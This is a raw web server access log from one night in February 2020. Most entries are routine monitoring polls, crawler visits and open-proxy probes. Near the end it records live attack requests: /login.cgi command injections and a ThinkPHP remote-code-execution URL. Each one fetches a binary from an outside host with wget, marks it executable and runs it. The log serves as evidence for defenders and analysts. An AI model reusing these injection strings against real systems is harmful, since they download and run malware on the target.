176.111.72.201 - - [22/Feb/2020:22:12:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
77.242.107.119 - - [22/Feb/2020:22:12:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
60.191.52.254 - - [22/Feb/2020:22:12:37 +0100] "HEAD http://112.124.42.80:63435/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:22:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.107.18.64 - - [22/Feb/2020:22:16:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:22:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.135.209.130 - - [22/Feb/2020:22:19:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:22:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.39 - - [22/Feb/2020:22:21:23 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.43 - - [22/Feb/2020:22:21:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [22/Feb/2020:22:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:23:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.204.135.122 - - [22/Feb/2020:22:25:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:22:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.104.27.132 - - [22/Feb/2020:22:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:22:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.126.70.202 - - [22/Feb/2020:22:34:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
217.44.241.183 - - [22/Feb/2020:22:35:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:22:35:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.128.105.97 - - [22/Feb/2020:22:37:19 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
110.177.73.244 - - [22/Feb/2020:22:37:21 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
116.252.0.237 - - [22/Feb/2020:22:37:21 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
110.80.152.12 - - [22/Feb/2020:22:37:23 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
113.128.105.100 - - [22/Feb/2020:22:37:23 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
124.235.138.26 - - [22/Feb/2020:22:37:23 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
112.193.168.137 - - [22/Feb/2020:22:37:27 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
221.213.75.33 - - [22/Feb/2020:22:37:27 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
124.235.138.204 - - [22/Feb/2020:22:37:27 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
223.166.74.90 - - [22/Feb/2020:22:37:28 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.145.1.41 - - [22/Feb/2020:22:37:29 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:22:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.41.46.110 - - [22/Feb/2020:22:42:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:22:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.94.113.198 - - [22/Feb/2020:22:46:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
77.159.94.9 - - [22/Feb/2020:22:47:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:22:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:53:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.23.163.104 - - [22/Feb/2020:22:56:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:22:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:58:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:22:59:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.128.89.253 - - [22/Feb/2020:23:00:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
78.128.89.253 - - [22/Feb/2020:23:01:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
78.128.89.253 - - [22/Feb/2020:23:01:14 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [22/Feb/2020:23:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.128.89.253 - - [22/Feb/2020:23:02:15 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [22/Feb/2020:23:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.128.89.253 - - [22/Feb/2020:23:03:20 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [22/Feb/2020:23:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.128.89.253 - - [22/Feb/2020:23:04:24 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
78.128.89.253 - - [22/Feb/2020:23:04:38 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
91.23.148.34 - - [22/Feb/2020:23:04:40 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
78.128.89.253 - - [22/Feb/2020:23:04:44 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [22/Feb/2020:23:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.128.89.253 - - [22/Feb/2020:23:06:50 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
188.15.185.140 - - [22/Feb/2020:23:07:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:23:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.55.224.150 - - [22/Feb/2020:23:07:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:23:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.128.89.253 - - [22/Feb/2020:23:10:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [22/Feb/2020:23:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.48 - - [22/Feb/2020:23:11:52 +0100] "GET /robots.txt HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.44 - - [22/Feb/2020:23:11:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
88.147.174.33 - - [22/Feb/2020:23:12:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:23:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.0.155.112 - - [22/Feb/2020:23:15:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [22/Feb/2020:23:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:23:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [22/Feb/2020:23:32:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [22/Feb/2020:23:32:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [22/Feb/2020:23:32:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:23:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [22/Feb/2020:23:32:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [22/Feb/2020:23:33:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
195.158.111.136 - - [22/Feb/2020:23:33:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:23:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:35:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.63.52.237 - - [22/Feb/2020:23:36:01 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:23:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.12.210 - - [22/Feb/2020:23:36:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [22/Feb/2020:23:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.114.149.10 - - [22/Feb/2020:23:46:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:23:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:23:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
141.105.135.199 - - [22/Feb/2020:23:49:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:23:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
